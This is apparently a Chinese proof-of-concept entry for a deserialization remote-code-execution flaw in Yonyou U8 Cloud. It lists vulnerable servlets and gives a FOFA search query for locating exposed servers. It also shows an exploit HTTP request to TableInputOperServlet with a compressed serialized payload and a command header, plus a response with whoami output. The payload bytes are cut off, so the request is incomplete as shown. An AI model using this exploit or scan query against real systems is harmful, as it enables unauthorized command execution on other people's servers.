

Y3-15用友-U8-Cloud-RCE

漏洞描述：

用友U8 Cloud存在多处（TableInputOperServlet、LoginServlet、FileTransferServlet、CacheInvokeServlet、ActionHandlerServlet、ServletCommander、MxServlet、MonitorServlet、LoggingConfigServlet、ClientRequestDispatch）反序列化漏洞，系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作，结合系统本身存在的反序列化利用链，最终造成远程代码执行。

网站图片：

U8 cloud | [下载页面](#)

请下载新版UClient
开启U8 cloud云端之旅

立即下载 ↓



网络测绘：

fofa语法：

FOFA: app="用友-U8-Cloud"

漏洞复现：

payload:

```
POST /service/~iufo/com.ufsoft.iuforeport.tableinput.TableInputOperServlet HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 20327

{{unquote("'"'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xcd\x7b\xcb\x8f+\xebvW\xdf\x7d\xeeU\xc8\x09\x2877R\x14\x89\x01\xad\xcd\xa4;g\x3m\xbb\xdd\xbd\xbb\x3u\x80\xf5\xd5\xcd
```

效果图：

Request

1 POST /service/~iufo/com.ufsoft.iuforeport.tableinput.TableInputOperServlet HTTP/1.1

2 Host: 10.10.10.10:8099

3 Cmd: whoami

4 Accept-Encoding: gzip

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

6 Content-Length: 20327

7

8 {{unquote("'"'\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xcd\x7b\xcb\x8f+\xebvW\xdf\x7d\xeeU\xc8\x09\x2877R\x14\x89\x01\xad\xcd\xa4;g\x3m\xbb\xdd\xbd\xbb\x3u\x80\xf5\xd5\xcd

Responses 31bytes / 234ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=F8D8BA8FAC9857357D4C

4 Date: Sun, 10 Dec 2023 06:59:33 GMT

5 Content-Length: 31

6

7 win-cm4cat44nkl\administrator

8